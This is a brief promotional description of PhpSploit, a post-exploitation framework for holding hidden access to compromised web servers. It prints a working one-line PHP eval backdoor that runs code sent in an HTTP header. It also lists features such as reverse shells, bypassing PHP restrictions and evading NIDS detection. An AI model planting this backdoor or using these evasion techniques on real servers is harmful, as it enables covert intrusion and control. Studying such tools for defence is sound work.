PhpSploit — post exploitation framework

It is a post-exploitation tool capable to maintain access to a compromised web server for privilege escalation purposes.

The obfuscated communication is accomplished using HTTP headers under standard client requests and web server’s relative responses, tunneled through a tiny polymorphic backdoor:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Features:

• Efficient: More than 20 plugins to automate post-exploitation tasks
• Run commands and browse filesystem, bypassing PHP security restrictions
• Upload/Download files between client and target
• Edit remote files through local text editor
• Run SQL console on target system
• Spawn reverse TCP shells
• Stealth: The framework is made by paranoids, for paranoids
• Nearly invisible by log analysis and NIDS signature detection
• Safe-mode and common PHP security restrictions bypass
• Communications are hidden in HTTP Headers
• Loaded payloads are obfuscated to bypass NIDS
• http/https/socks4/socks5 Proxy support
• Convenient: A robust interface with many crucial features